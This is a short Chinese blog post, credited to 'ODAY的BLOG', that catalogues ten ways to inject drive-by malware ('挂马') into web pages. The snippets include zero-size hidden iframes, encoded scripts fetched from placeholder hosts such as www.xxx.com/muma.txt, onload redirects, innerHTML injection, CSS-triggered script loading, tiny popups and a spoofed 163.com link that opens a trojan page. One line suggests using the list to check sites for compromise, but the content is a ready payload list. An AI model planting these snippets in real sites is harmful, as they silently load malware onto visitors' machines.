from:ＯＤＡＹ的BLOG

ps:检查文件是否被挂马的时候可以参考下！

一:框架挂马

<iframe src=地址 width=0 height=0></iframe>

二:js文件挂马

首先将以下代码
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js，
则JS挂马代码为
<script language=javascript src=xxx.js></script>

三:js变形加密

<SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt可改成任意后缀
四:body挂马

<body onload="window.location='地址';"></body>

五:隐蔽挂马

top.document.body.innerHTML = top.document.body.innerHTML + '\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>';

六:css中挂马

body {
background-image: url('javascript:document.write("<script src=http://www.XXX.net/muma.js></script>")')}

七:JAJA挂马

<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>

八:图片伪装

<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>

九:伪装调用：

<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>

十:高级欺骗

<a href="http://www.163.com(迷惑连接地址，显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>